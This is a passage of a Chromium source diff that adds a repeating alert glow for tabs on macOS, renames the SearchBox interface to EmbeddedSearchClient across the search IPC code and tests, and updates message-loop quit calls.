     [self setHoveredTab:tabView];
@@ -2051,8 +2057,7 @@
   NSInteger i = 0;
   BOOL isRTL = cocoa_l10n_util::ShouldDoExperimentalRTLLayout();
   for (TabController* tab in tabArray_.get()) {
-    NSView* view = [tab view];
-    DCHECK([view isKindOfClass:[TabView class]]);
+    TabView* view = base::mac::ObjCCastStrict<TabView>([tab view]);
 
     // Recall that |-[NSView frame]| is in its superview's coordinates, so a
     // |TabView|'s frame is in the coordinates of the |TabStripView| (which
diff --git a/chrome/browser/ui/cocoa/tabs/tab_strip_model_observer_bridge.h b/chrome/browser/ui/cocoa/tabs/tab_strip_model_observer_bridge.h
index 5e386f7..4f8dc95 100644
--- a/chrome/browser/ui/cocoa/tabs/tab_strip_model_observer_bridge.h
+++ b/chrome/browser/ui/cocoa/tabs/tab_strip_model_observer_bridge.h
@@ -56,6 +56,7 @@
                              content::WebContents* contents,
                              int index) override;
   void TabStripEmpty() override;
+  void TabNeedsAttentionAt(int index) override;
 
  private:
   id controller_;  // weak, owns me
@@ -91,6 +92,7 @@
                                   atIndex:(NSInteger)index;
 - (void)tabStripEmpty;
 - (void)tabSelectionChanged;
+- (void)tabNeedsAttentionAt:(NSInteger)index;
 @end
 
 #endif  // CHROME_BROWSER_UI_COCOA_TABS_TAB_STRIP_MODEL_OBSERVER_BRIDGE_H_
diff --git a/chrome/browser/ui/cocoa/tabs/tab_strip_model_observer_bridge.mm b/chrome/browser/ui/cocoa/tabs/tab_strip_model_observer_bridge.mm
index b1bc816..9f970e54 100644
--- a/chrome/browser/ui/cocoa/tabs/tab_strip_model_observer_bridge.mm
+++ b/chrome/browser/ui/cocoa/tabs/tab_strip_model_observer_bridge.mm
@@ -128,3 +128,8 @@
   if ([controller_ respondsToSelector:@selector(tabStripEmpty)])
     [controller_ tabStripEmpty];
 }
+
+void TabStripModelObserverBridge::TabNeedsAttentionAt(int index) {
+  if ([controller_ respondsToSelector:@selector(tabNeedsAttentionAt:)])
+    [controller_ tabNeedsAttentionAt:index];
+}
diff --git a/chrome/browser/ui/cocoa/tabs/tab_view.h b/chrome/browser/ui/cocoa/tabs/tab_view.h
index 5ab4c5e46..47aab081 100644
--- a/chrome/browser/ui/cocoa/tabs/tab_view.h
+++ b/chrome/browser/ui/cocoa/tabs/tab_view.h
@@ -28,7 +28,8 @@
   kAlertNone = 0,  // Obj-C initializes to this.
   kAlertRising,
   kAlertHolding,
-  kAlertFalling
+  kAlertFalling,
+  kAlertOff
 };
 
 // When the window doesn't have focus then we want to draw the button with a
@@ -59,6 +60,7 @@
   BOOL closing_;
 
   BOOL isMouseInside_;  // Is the mouse hovering over?
+  BOOL isInfiniteAlert_;  // Valid only when alertState_ != kAlertNone.
   tabs::AlertState alertState_;
 
   CGFloat hoverAlpha_;  // How strong the hover glow is.
@@ -113,8 +115,13 @@
 - (void)setTrackingEnabled:(BOOL)enabled;
 
 // Begin showing an "alert" glow (shown to call attention to an unselected
-// pinned tab whose title changed).
-- (void)startAlert;
+// pinned tab whose title changed). This glow cycles once and automatically
+// stops.
+- (void)startOnceAlert;
+
+// Begin showing an "alert" glow (shown to call attention to an alert dialog).
+// This glow cycles until stopped by -cancelAlert.
+- (void)startInfiniteAlert;
 
 // Stop showing the "alert" glow; this won't immediately wipe out any glow, but
 // will make it fade away.
diff --git a/chrome/browser/ui/cocoa/tabs/tab_view.mm b/chrome/browser/ui/cocoa/tabs/tab_view.mm
index 1ffa5bf..b8dfc9ee 100644
--- a/chrome/browser/ui/cocoa/tabs/tab_view.mm
+++ b/chrome/browser/ui/cocoa/tabs/tab_view.mm
@@ -49,6 +49,7 @@
 const NSTimeInterval kAlertShowDuration = 0.4;
 const NSTimeInterval kAlertHoldDuration = 0.4;
 const NSTimeInterval kAlertHideDuration = 0.4;
+const NSTimeInterval kAlertOffDuration = 0.4;
 
 // The default time interval in seconds between glow updates (when
 // increasing/decreasing).
@@ -718,17 +719,36 @@
   }
 }
 
-- (void)startAlert {
-  // Do not start a new alert while already alerting or while in a decay cycle.
+- (void)startOnceAlert {
+  // Do not start a new once-alert to interrupt another once-alert or an
+  // infinite-alert.
   if (alertState_ == tabs::kAlertNone) {
+    isInfiniteAlert_ = NO;
     alertState_ = tabs::kAlertRising;
     [self resetLastGlowUpdateTime];
     [self adjustGlowValue];
   }
 }
 
+- (void)startInfiniteAlert {
+  // Allow turning a once-alert into an infinite-alert.
+  if (alertState_ == tabs::kAlertNone || !isInfiniteAlert_) {
+    if (alertState_ == tabs::kAlertNone) {
+      // No existing alert; start one.
+      isInfiniteAlert_ = YES;
+      alertState_ = tabs::kAlertRising;
+    } else {
+      // Upgrade an existing once-alert; leave the current cycle state alone.
+      isInfiniteAlert_ = YES;
+    }
+    [self resetLastGlowUpdateTime];
+    [self adjustGlowValue];
+  }
+}
+
 - (void)cancelAlert {
   if (alertState_ != tabs::kAlertNone) {
+    isInfiniteAlert_ = NO;
     alertState_ = tabs::kAlertFalling;
     alertHoldEndTime_ =
         [NSDate timeIntervalSinceReferenceDate] + kGlowUpdateInterval;
@@ -901,39 +921,61 @@
   }
 
   CGFloat alertAlpha = [self alertAlpha];
-  if (alertState_ == tabs::kAlertRising) {
-    // Increase alert glow until it's 1 ...
-    alertAlpha = MIN(alertAlpha + elapsed / kAlertShowDuration, 1);
-    [self setAlertAlpha:alertAlpha];
-
-    // ... and having reached 1, switch to holding.
-    if (alertAlpha >= 1) {
-      alertState_ = tabs::kAlertHolding;
-      alertHoldEndTime_ = currentTime + kAlertHoldDuration;
-      nextUpdate = MIN(kAlertHoldDuration, nextUpdate);
-    } else {
-      nextUpdate = MIN(kGlowUpdateInterval, nextUpdate);
+  switch (alertState_) {
+    case tabs::kAlertNone: {
+      break;
     }
-  } else if (alertState_ != tabs::kAlertNone) {
-    if (alertAlpha > 0) {
-      if (currentTime >= alertHoldEndTime_) {
-        // Stop holding, then decrease alert glow (until it's 0).
-        if (alertState_ == tabs::kAlertHolding) {
-          alertState_ = tabs::kAlertFalling;
-          nextUpdate = MIN(kGlowUpdateInterval, nextUpdate);
-        } else {
-          DCHECK_EQ(tabs::kAlertFalling, alertState_);
-          alertAlpha = MAX(alertAlpha - elapsed / kAlertHideDuration, 0);
-          [self setAlertAlpha:alertAlpha];
-          nextUpdate = MIN(kGlowUpdateInterval, nextUpdate);
-        }
+    case tabs::kAlertRising: {
+      // Increase alert glow until it's 1 ...
+      alertAlpha = MIN(alertAlpha + elapsed / kAlertShowDuration, 1);
+      [self setAlertAlpha:alertAlpha];
+
+      // ... and having reached 1, switch to holding.
+      if (alertAlpha >= 1) {
+        alertState_ = tabs::kAlertHolding;
+        alertHoldEndTime_ = currentTime + kAlertHoldDuration;
+        nextUpdate = MIN(kAlertHoldDuration, nextUpdate);
       } else {
-        // Schedule update for end of hold time.
+        nextUpdate = MIN(kGlowUpdateInterval, nextUpdate);
+      }
+      break;
+    }
+    case tabs::kAlertHolding: {
+      if (currentTime >= alertHoldEndTime_) {
+        alertState_ = tabs::kAlertFalling;
+        nextUpdate = MIN(kGlowUpdateInterval, nextUpdate);
+      } else {
         nextUpdate = MIN(alertHoldEndTime_ - currentTime, nextUpdate);
       }
-    } else {
-      // Done the alert decay cycle.
-      alertState_ = tabs::kAlertNone;
+      break;
+    }
+    case tabs::kAlertFalling: {
+      // Decrease alert glow until it's 0 ...
+      alertAlpha = MAX(alertAlpha - elapsed / kAlertHideDuration, 0);
+      [self setAlertAlpha:alertAlpha];
+
+      // ... and having reached 0, switch to either off or stop alerting.
+      if (alertAlpha <= 0) {
+        if (isInfiniteAlert_) {
+          alertState_ = tabs::kAlertOff;
+          alertHoldEndTime_ = currentTime + kAlertOffDuration;
+          nextUpdate = MIN(kAlertOffDuration, nextUpdate);
+        } else {
+          alertState_ = tabs::kAlertNone;
+        }
+      } else {
+        nextUpdate = MIN(kGlowUpdateInterval, nextUpdate);
+      }
+      break;
+    }
+    case tabs::kAlertOff: {
+      if (currentTime >= alertHoldEndTime_) {
+        alertState_ = tabs::kAlertRising;
+        nextUpdate = MIN(kGlowUpdateInterval, nextUpdate);
+      } else {
+        nextUpdate = MIN(alertHoldEndTime_ - currentTime, nextUpdate);
+      }
+      break;
     }
   }
 
diff --git a/chrome/browser/ui/cocoa/tabs/tab_view_unittest.mm b/chrome/browser/ui/cocoa/tabs/tab_view_unittest.mm
index 01b7c2afe..1fa80094 100644
--- a/chrome/browser/ui/cocoa/tabs/tab_view_unittest.mm
+++ b/chrome/browser/ui/cocoa/tabs/tab_view_unittest.mm
@@ -50,13 +50,13 @@
   // TODO(viettrungluu): Figure out how to test this, which is timing-sensitive
   // and which moreover uses |-performSelector:withObject:afterDelay:|.
 
-  // Call |-startAlert|/|-cancelAlert| and make sure it doesn't crash.
+  // Call |-startOnceAlert|/|-cancelAlert| and make sure it doesn't crash.
   for (int i = 0; i < 5; i++) {
-    [view_ startAlert];
+    [view_ startOnceAlert];
     [view_ cancelAlert];
   }
-  [view_ startAlert];
-  [view_ startAlert];
+  [view_ startOnceAlert];
+  [view_ startOnceAlert];
   [view_ cancelAlert];
   [view_ cancelAlert];
 }
diff --git a/chrome/browser/ui/cocoa/tabs/tab_window_controller.mm b/chrome/browser/ui/cocoa/tabs/tab_window_controller.mm
index dd6c1f6..9d76445 100644
--- a/chrome/browser/ui/cocoa/tabs/tab_window_controller.mm
+++ b/chrome/browser/ui/cocoa/tabs/tab_window_controller.mm
@@ -12,6 +12,7 @@
 #import "chrome/browser/ui/cocoa/tabs/tab_strip_background_view.h"
 #import "chrome/browser/ui/cocoa/tabs/tab_strip_view.h"
 #import "chrome/browser/ui/cocoa/themed_window.h"
+#include "chrome/browser/ui/window_sizer/window_sizer.h"
 #import "ui/base/cocoa/focus_tracker.h"
 #include "ui/base/material_design/material_design_controller.h"
 #include "ui/base/theme_provider.h"
@@ -87,7 +88,7 @@
 
 - (id)initTabWindowControllerWithTabStrip:(BOOL)hasTabStrip
                                  titleBar:(BOOL)hasTitleBar {
-  const CGFloat kDefaultWidth = 750;
+  const CGFloat kDefaultWidth = WindowSizer::kWindowMaxDefaultWidth;
   const CGFloat kDefaultHeight = 600;
 
   NSRect contentRect = NSMakeRect(60, 229, kDefaultWidth, kDefaultHeight);
diff --git a/chrome/browser/ui/cocoa/web_textfield_touch_bar_controller.h b/chrome/browser/ui/cocoa/web_textfield_touch_bar_controller.h
index df6e87b..26e8c22 100644
--- a/chrome/browser/ui/cocoa/web_textfield_touch_bar_controller.h
+++ b/chrome/browser/ui/cocoa/web_textfield_touch_bar_controller.h
@@ -29,7 +29,7 @@
 - (void)showCreditCardAutofillForPopupView:(AutofillPopupViewCocoa*)popupView;
 
 // Creates and returns a touch bar.
-- (NSTouchBar*)makeTouchBar;
+- (NSTouchBar*)makeTouchBar API_AVAILABLE(macos(10.12.2));
 
 @end
 
diff --git a/chrome/browser/ui/content_settings/content_setting_bubble_model_browsertest.cc b/chrome/browser/ui/content_settings/content_setting_bubble_model_browsertest.cc
index 7ff815c..20fad96 100644
--- a/chrome/browser/ui/content_settings/content_setting_bubble_model_browsertest.cc
+++ b/chrome/browser/ui/content_settings/content_setting_bubble_model_browsertest.cc
@@ -224,10 +224,6 @@
   EXPECT_EQ(GURL("chrome://settings/content#media-stream-mic"),
             GetActiveTab()->GetLastCommittedURL());
 
-  // In ChromeOS, we do not sanitize chrome://settings-frame to
-  // chrome://settings for same-document navigations. See crbug.com/416157. For
-  // this reason, order the tests so no same-document navigation occurs.
-
   // The camera bubble links to camera exceptions.
   ManageMediaStreamSettings(TabSpecificContentSettings::CAMERA_ACCESSED);
   EXPECT_EQ(GURL("chrome://settings/contentExceptions#media-stream-camera"),
diff --git a/chrome/browser/ui/find_bar/find_bar_host_browsertest.cc b/chrome/browser/ui/find_bar/find_bar_host_browsertest.cc
index 79ac1d8..fd0de4ab 100644
--- a/chrome/browser/ui/find_bar/find_bar_host_browsertest.cc
+++ b/chrome/browser/ui/find_bar/find_bar_host_browsertest.cc
@@ -200,9 +200,8 @@
   void FlushHistoryService() {
     HistoryServiceFactory::GetForProfile(browser()->profile(),
                                          ServiceAccessType::IMPLICIT_ACCESS)
-        ->FlushForTest(base::Bind(
-            &base::MessageLoop::QuitWhenIdle,
-            base::Unretained(base::MessageLoop::current()->current())));
+        ->FlushForTest(
+            base::Bind(&base::RunLoop::QuitCurrentWhenIdleDeprecated));
     content::RunMessageLoop();
   }
 };
diff --git a/chrome/browser/ui/input_method/input_method_engine_unittest.cc b/chrome/browser/ui/input_method/input_method_engine_unittest.cc
index e44466a..6e2597d5 100644
--- a/chrome/browser/ui/input_method/input_method_engine_unittest.cc
+++ b/chrome/browser/ui/input_method/input_method_engine_unittest.cc
@@ -2,9 +2,10 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "base/message_loop/message_loop.h"
-#include "chrome/browser/profiles/profile_manager.h"
 #include "chrome/browser/ui/input_method/input_method_engine.h"
+#include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
+#include "chrome/browser/profiles/profile_manager.h"
 #include "chrome/browser/ui/input_method/input_method_engine_base.h"
 #include "chrome/test/base/testing_profile.h"
 #include "content/public/test/test_utils.h"
@@ -46,7 +47,7 @@
 
   void Run(bool consumed) {
     if (consumed == expected_argument_) {
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
       is_called_ = true;
     }
   }
diff --git a/chrome/browser/ui/navigation_correction_tab_observer.cc b/chrome/browser/ui/navigation_correction_tab_observer.cc
index 96adf845..887d681 100644
--- a/chrome/browser/ui/navigation_correction_tab_observer.cc
+++ b/chrome/browser/ui/navigation_correction_tab_observer.cc
@@ -9,6 +9,7 @@
 #include "chrome/browser/google/google_url_tracker_factory.h"
 #include "chrome/browser/profiles/profile.h"
 #include "chrome/browser/search_engines/ui_thread_search_terms_data.h"
+#include "chrome/common/navigation_corrector.mojom.h"
 #include "chrome/common/pref_names.h"
 #include "chrome/common/render_messages.h"
 #include "components/google/core/browser/google_util.h"
@@ -16,6 +17,7 @@
 #include "components/prefs/pref_service.h"
 #include "content/public/browser/render_frame_host.h"
 #include "content/public/browser/web_contents.h"
+#include "content/public/common/associated_interface_provider.h"
 #include "google_apis/google_api_keys.h"
 
 using content::RenderFrameHost;
@@ -97,11 +99,12 @@
 void NavigationCorrectionTabObserver::UpdateNavigationCorrectionInfo(
     RenderFrameHost* render_frame_host) {
   GURL google_base_url(UIThreadSearchTermsData(profile_).GoogleBaseURLValue());
-  render_frame_host->Send(new ChromeViewMsg_SetNavigationCorrectionInfo(
-      render_frame_host->GetRoutingID(),
+  chrome::mojom::NavigationCorrectorAssociatedPtr client;
+  render_frame_host->GetRemoteAssociatedInterfaces()->GetInterface(&client);
+  client->SetNavigationCorrectionInfo(
       GetNavigationCorrectionURL(),
       google_util::GetGoogleLocale(g_browser_process->GetApplicationLocale()),
       google_util::GetGoogleCountryCode(google_base_url),
       google_apis::GetAPIKey(),
-      google_util::GetGoogleSearchURL(google_base_url)));
+      google_util::GetGoogleSearchURL(google_base_url));
 }
diff --git a/chrome/browser/ui/omnibox/omnibox_view_browsertest.cc b/chrome/browser/ui/omnibox/omnibox_view_browsertest.cc
index 454864c4..6ef7075d 100644
--- a/chrome/browser/ui/omnibox/omnibox_view_browsertest.cc
+++ b/chrome/browser/ui/omnibox/omnibox_view_browsertest.cc
@@ -9,6 +9,7 @@
 #include "base/macros.h"
 #include "base/memory/ptr_util.h"
 #include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "base/scoped_observer.h"
 #include "base/strings/string16.h"
 #include "base/strings/string_util.h"
@@ -155,7 +156,7 @@
   // history::HisoryServiceObserver
   void OnHistoryServiceLoaded(
       history::HistoryService* history_service) override {
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
  protected:
@@ -368,12 +369,12 @@
       default:
         FAIL() << "Unexpected notification type";
     }
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   void OnURLsModified(history::HistoryService* history_service,
                       const history::URLRows& changed_urls) override {
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
  private:
diff --git a/chrome/browser/ui/search/instant_extended_interactive_uitest.cc b/chrome/browser/ui/search/instant_extended_interactive_uitest.cc
index e61e99b4..1d21c52c 100644
--- a/chrome/browser/ui/search/instant_extended_interactive_uitest.cc
+++ b/chrome/browser/ui/search/instant_extended_interactive_uitest.cc
@@ -102,7 +102,7 @@
   }
 
   void DoneRunOnMainThread() override {
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
  private:
diff --git a/chrome/browser/ui/search/instant_search_prerenderer_unittest.cc b/chrome/browser/ui/search/instant_search_prerenderer_unittest.cc
index ff71739..55cc8da 100644
--- a/chrome/browser/ui/search/instant_search_prerenderer_unittest.cc
+++ b/chrome/browser/ui/search/instant_search_prerenderer_unittest.cc
@@ -33,7 +33,7 @@
 #include "chrome/browser/ui/tabs/tab_strip_model.h"
 #include "chrome/common/render_messages.h"
 #include "chrome/common/search/instant_types.h"
-#include "chrome/common/search/mock_searchbox.h"
+#include "chrome/common/search/mock_embedded_search_client.h"
 #include "components/omnibox/browser/autocomplete_match.h"
 #include "content/public/browser/navigation_controller.h"
 #include "content/public/browser/web_contents.h"
@@ -53,10 +53,11 @@
 
 namespace {
 
-class MockSearchBoxClientFactory
-    : public SearchIPCRouter::SearchBoxClientFactory {
+class MockEmbeddedSearchClientFactory
+    : public SearchIPCRouter::EmbeddedSearchClientFactory {
  public:
-  MOCK_METHOD0(GetSearchBox, chrome::mojom::SearchBox*(void));
+  MOCK_METHOD0(GetEmbeddedSearchClient,
+               chrome::mojom::EmbeddedSearchClient*(void));
 };
 
 using content::Referrer;
@@ -69,13 +70,14 @@
 
 class DummyPrerenderContents : public PrerenderContents {
  public:
-  DummyPrerenderContents(PrerenderManager* prerender_manager,
-                         Profile* profile,
-                         const GURL& url,
-                         const Referrer& referrer,
-                         Origin origin,
-                         bool call_did_finish_load,
-                         chrome::mojom::SearchBox* search_box);
+  DummyPrerenderContents(
+      PrerenderManager* prerender_manager,
+      Profile* profile,
+      const GURL& url,
+      const Referrer& referrer,
+      Origin origin,
+      bool call_did_finish_load,
+      chrome::mojom::EmbeddedSearchClient* embedded_search_client);
 
   void StartPrerendering(
       const gfx::Rect& bounds,
@@ -87,16 +89,18 @@
   Profile* profile_;
   const GURL url_;
   bool call_did_finish_load_;
-  chrome::mojom::SearchBox* search_box_;
+  chrome::mojom::EmbeddedSearchClient* embedded_search_client_;
 
   DISALLOW_COPY_AND_ASSIGN(DummyPrerenderContents);
 };
 
 class DummyPrerenderContentsFactory : public PrerenderContents::Factory {
  public:
-  DummyPrerenderContentsFactory(bool call_did_finish_load,
-                                chrome::mojom::SearchBox* search_box)
-      : call_did_finish_load_(call_did_finish_load), search_box_(search_box) {}
+  DummyPrerenderContentsFactory(
+      bool call_did_finish_load,
+      chrome::mojom::EmbeddedSearchClient* embedded_search_client)
+      : call_did_finish_load_(call_did_finish_load),
+        embedded_search_client_(embedded_search_client) {}
 
   PrerenderContents* CreatePrerenderContents(
       PrerenderManager* prerender_manager,
@@ -107,7 +111,7 @@
 
  private:
   bool call_did_finish_load_;
-  chrome::mojom::SearchBox* search_box_;
+  chrome::mojom::EmbeddedSearchClient* embedded_search_client_;
 
   DISALLOW_COPY_AND_ASSIGN(DummyPrerenderContentsFactory);
 };
@@ -119,12 +123,12 @@
     const Referrer& referrer,
     Origin origin,
     bool call_did_finish_load,
-    chrome::mojom::SearchBox* search_box)
+    chrome::mojom::EmbeddedSearchClient* embedded_search_client)
     : PrerenderContents(prerender_manager, profile, url, referrer, origin),
       profile_(profile),
       url_(url),
       call_did_finish_load_(call_did_finish_load),
-      search_box_(search_box) {}
+      embedded_search_client_(embedded_search_client) {}
 
 void DummyPrerenderContents::StartPrerendering(
     const gfx::Rect& bounds,
@@ -140,10 +144,11 @@
   SearchTabHelper::CreateForWebContents(prerender_contents_.get());
   auto* search_tab =
       SearchTabHelper::FromWebContents(prerender_contents_.get());
-  auto factory = base::MakeUnique<MockSearchBoxClientFactory>();
-  ON_CALL(*factory, GetSearchBox()).WillByDefault(Return(search_box_));
+  auto factory = base::MakeUnique<MockEmbeddedSearchClientFactory>();
+  ON_CALL(*factory, GetEmbeddedSearchClient())
+      .WillByDefault(Return(embedded_search_client_));
   search_tab->ipc_router_for_testing()
-      .set_search_box_client_factory_for_testing(std::move(factory));
+      .set_embedded_search_client_factory_for_testing(std::move(factory));
 
   prerendering_has_started_ = true;
   DCHECK(session_storage_namespace);
@@ -171,7 +176,8 @@
     const Referrer& referrer,
     Origin origin) {
   return new DummyPrerenderContents(prerender_manager, profile, url, referrer,
-                                    origin, call_did_finish_load_, search_box_);
+                                    origin, call_did_finish_load_,
+                                    embedded_search_client_);
 }
 
 }  // namespace
@@ -193,7 +199,7 @@
 
     PrerenderManagerFactory::GetForBrowserContext(browser()->profile())
         ->SetPrerenderContentsFactoryForTest(new DummyPrerenderContentsFactory(
-            call_did_finish_load, &mock_search_box_));
+            call_did_finish_load, &mock_embedded_search_client_));
     if (prerender_search_results_base_page) {
       content::SessionStorageNamespace* session_storage_namespace =
           GetActiveWebContents()->GetController().
@@ -238,10 +244,12 @@
     EXPECT_NE(static_cast<PrerenderHandle*>(NULL), prerender_handle());
   }
 
-  MockSearchBox* mock_search_box() { return &mock_search_box_; }
+  MockEmbeddedSearchClient* mock_embedded_search_client() {
+    return &mock_embedded_search_client_;
+  }
 
  private:
-  MockSearchBox mock_search_box_;
+  MockEmbeddedSearchClient mock_embedded_search_client_;
 };
 
 TEST_F(InstantSearchPrerendererTest, GetSearchTermsFromPrerenderedPage) {
@@ -267,7 +275,7 @@
   Init(true, true);
   EXPECT_TRUE(prerender_handle()->IsFinishedLoading());
   InstantSearchPrerenderer* prerenderer = GetInstantSearchPrerenderer();
-  EXPECT_CALL(*mock_search_box(), SetSuggestionToPrefetch(_));
+  EXPECT_CALL(*mock_embedded_search_client(), SetSuggestionToPrefetch(_));
   prerenderer->Prerender(
       InstantSuggestion(ASCIIToUTF16("flowers"), std::string()));
   EXPECT_EQ("flowers", base::UTF16ToASCII(prerenderer->get_last_query()));
@@ -278,7 +286,8 @@
   // Page hasn't finished loading yet.
   EXPECT_FALSE(prerender_handle()->IsFinishedLoading());
   InstantSearchPrerenderer* prerenderer = GetInstantSearchPrerenderer();
-  EXPECT_CALL(*mock_search_box(), SetSuggestionToPrefetch(_)).Times(0);
+  EXPECT_CALL(*mock_embedded_search_client(), SetSuggestionToPrefetch(_))
+      .Times(0);
   prerenderer->Prerender(
       InstantSuggestion(ASCIIToUTF16("flowers"), std::string()));
   EXPECT_EQ("", base::UTF16ToASCII(prerenderer->get_last_query()));
@@ -303,7 +312,7 @@
   base::string16 query = ASCIIToUTF16("flowers");
   PrerenderSearchQuery(query);
   InstantSearchPrerenderer* prerenderer = GetInstantSearchPrerenderer();
-  EXPECT_CALL(*mock_search_box(), Submit(_));
+  EXPECT_CALL(*mock_embedded_search_client(), Submit(_));
   prerenderer->Commit(EmbeddedSearchRequestParams());
 }
 
@@ -523,7 +532,7 @@
   PrerenderSearchQuery(ASCIIToUTF16("foo"));
   EXPECT_TRUE(browser()->instant_controller());
   EXPECT_CALL(
-      *mock_search_box(),
+      *mock_embedded_search_client(),
       Submit(AllOf(Field(&EmbeddedSearchRequestParams::original_query,
                          Eq(base::ASCIIToUTF16("f"))),
                    Field(&EmbeddedSearchRequestParams::input_encoding,
diff --git a/chrome/browser/ui/search/search_ipc_router.cc b/chrome/browser/ui/search/search_ipc_router.cc
index 6c56331..b74ae7d 100644
--- a/chrome/browser/ui/search/search_ipc_router.cc
+++ b/chrome/browser/ui/search/search_ipc_router.cc
@@ -31,55 +31,56 @@
   return instant_service->IsInstantProcess(process_host->GetID());
 }
 
-class SearchBoxClientFactoryImpl
-    : public SearchIPCRouter::SearchBoxClientFactory,
+class EmbeddedSearchClientFactoryImpl
+    : public SearchIPCRouter::EmbeddedSearchClientFactory,
       public chrome::mojom::EmbeddedSearchConnector {
  public:
   // |web_contents| and |binding| must outlive this object.
-  SearchBoxClientFactoryImpl(
+  EmbeddedSearchClientFactoryImpl(
       content::WebContents* web_contents,
-      mojo::AssociatedBinding<chrome::mojom::Instant>* binding)
+      mojo::AssociatedBinding<chrome::mojom::EmbeddedSearch>* binding)
       : client_binding_(binding), factory_bindings_(web_contents, this) {
     DCHECK(web_contents);
     DCHECK(binding);
     // Before we are connected to a frame we throw away all messages.
-    mojo::MakeIsolatedRequest(&search_box_);
+    mojo::MakeIsolatedRequest(&embedded_search_client_);
   }
 
-  chrome::mojom::SearchBox* GetSearchBox() override {
-    return search_box_.get();
+  chrome::mojom::EmbeddedSearchClient* GetEmbeddedSearchClient() override {
+    return embedded_search_client_.get();
   }
 
  private:
-  void Connect(chrome::mojom::InstantAssociatedRequest request,
-               chrome::mojom::SearchBoxAssociatedPtrInfo client) override;
+  void Connect(
+      chrome::mojom::EmbeddedSearchAssociatedRequest request,
+      chrome::mojom::EmbeddedSearchClientAssociatedPtrInfo client) override;
 
   // An interface used to push updates to the frame that connected to us. Before
   // we've been connected to a frame, messages sent on this interface go into
   // the void.
-  chrome::mojom::SearchBoxAssociatedPtr search_box_;
+  chrome::mojom::EmbeddedSearchClientAssociatedPtr embedded_search_client_;
 
   // Used to bind incoming interface requests to the implementation, which lives
   // in SearchIPCRouter.
-  mojo::AssociatedBinding<chrome::mojom::Instant>* client_binding_;
+  mojo::AssociatedBinding<chrome::mojom::EmbeddedSearch>* client_binding_;
 
   // Binding used to listen to connection requests.
   content::WebContentsFrameBindingSet<chrome::mojom::EmbeddedSearchConnector>
       factory_bindings_;
 
-  DISALLOW_COPY_AND_ASSIGN(SearchBoxClientFactoryImpl);
+  DISALLOW_COPY_AND_ASSIGN(EmbeddedSearchClientFactoryImpl);
 };
 
-void SearchBoxClientFactoryImpl::Connect(
-    chrome::mojom::InstantAssociatedRequest request,
-    chrome::mojom::SearchBoxAssociatedPtrInfo client) {
+void EmbeddedSearchClientFactoryImpl::Connect(
+    chrome::mojom::EmbeddedSearchAssociatedRequest request,
+    chrome::mojom::EmbeddedSearchClientAssociatedPtrInfo client) {
   content::RenderFrameHost* frame = factory_bindings_.GetCurrentTargetFrame();
   const bool is_main_frame = frame->GetParent() == nullptr;
   if (!IsInInstantProcess(frame) || !is_main_frame) {
     return;
   }
   client_binding_->Bind(std::move(request));
-  search_box_.Bind(std::move(client));
+  embedded_search_client_.Bind(std::move(client));
 }
 
 }  // namespace
@@ -93,8 +94,8 @@
       commit_counter_(0),
       is_active_tab_(false),
       binding_(this),
-      search_box_client_factory_(
-          new SearchBoxClientFactoryImpl(web_contents, &binding_)) {
+      embedded_search_client_factory_(
+          new EmbeddedSearchClientFactoryImpl(web_contents, &binding_)) {
   DCHECK(web_contents);
   DCHECK(delegate);
   DCHECK(policy_.get());
@@ -104,7 +105,7 @@
 
 void SearchIPCRouter::OnNavigationEntryCommitted() {
   ++commit_counter_;
-  search_box()->SetPageSequenceNumber(commit_counter_);
+  embedded_search_client()->SetPageSequenceNumber(commit_counter_);
 }
 
 void SearchIPCRouter::SendChromeIdentityCheckResult(
@@ -113,14 +114,14 @@
   if (!policy_->ShouldProcessChromeIdentityCheck())
     return;
 
-  search_box()->ChromeIdentityCheckResult(identity, identity_match);
+  embedded_search_client()->ChromeIdentityCheckResult(identity, identity_match);
 }
 
 void SearchIPCRouter::SendHistorySyncCheckResult(bool sync_history) {
   if (!policy_->ShouldProcessHistorySyncCheck())
     return;
 
-  search_box()->HistorySyncCheckResult(sync_history);
+  embedded_search_client()->HistorySyncCheckResult(sync_history);
 }
 
 void SearchIPCRouter::SetSuggestionToPrefetch(
@@ -128,14 +129,14 @@
   if (!policy_->ShouldSendSetSuggestionToPrefetch())
     return;
 
-  search_box()->SetSuggestionToPrefetch(suggestion);
+  embedded_search_client()->SetSuggestionToPrefetch(suggestion);
 }
 
 void SearchIPCRouter::SetInputInProgress(bool input_in_progress) {
   if (!policy_->ShouldSendSetInputInProgress(is_active_tab_))
     return;
 
-  search_box()->SetInputInProgress(input_in_progress);
+  embedded_search_client()->SetInputInProgress(input_in_progress);
 }
 
 void SearchIPCRouter::OmniboxFocusChanged(OmniboxFocusState state,
@@ -143,7 +144,7 @@
   if (!policy_->ShouldSendOmniboxFocusChanged())
     return;
 
-  search_box()->FocusChanged(state, reason);
+  embedded_search_client()->FocusChanged(state, reason);
 }
 
 void SearchIPCRouter::SendMostVisitedItems(
@@ -151,7 +152,7 @@
   if (!policy_->ShouldSendMostVisitedItems())
     return;
 
-  search_box()->MostVisitedChanged(items);
+  embedded_search_client()->MostVisitedChanged(items);
 }
 
 void SearchIPCRouter::SendThemeBackgroundInfo(
@@ -159,14 +160,14 @@
   if (!policy_->ShouldSendThemeBackgroundInfo())
     return;
 
-  search_box()->ThemeChanged(theme_info);
+  embedded_search_client()->ThemeChanged(theme_info);
 }
 
 void SearchIPCRouter::Submit(const EmbeddedSearchRequestParams& params) {
   if (!policy_->ShouldSubmitQuery())
     return;
 
-  search_box()->Submit(params);
+  embedded_search_client()->Submit(params);
 }
 
 void SearchIPCRouter::OnTabActivated() {
diff --git a/chrome/browser/ui/search/search_ipc_router.h b/chrome/browser/ui/search/search_ipc_router.h
index 8e4a459..9a0b447 100644
--- a/chrome/browser/ui/search/search_ipc_router.h
+++ b/chrome/browser/ui/search/search_ipc_router.h
@@ -11,7 +11,7 @@
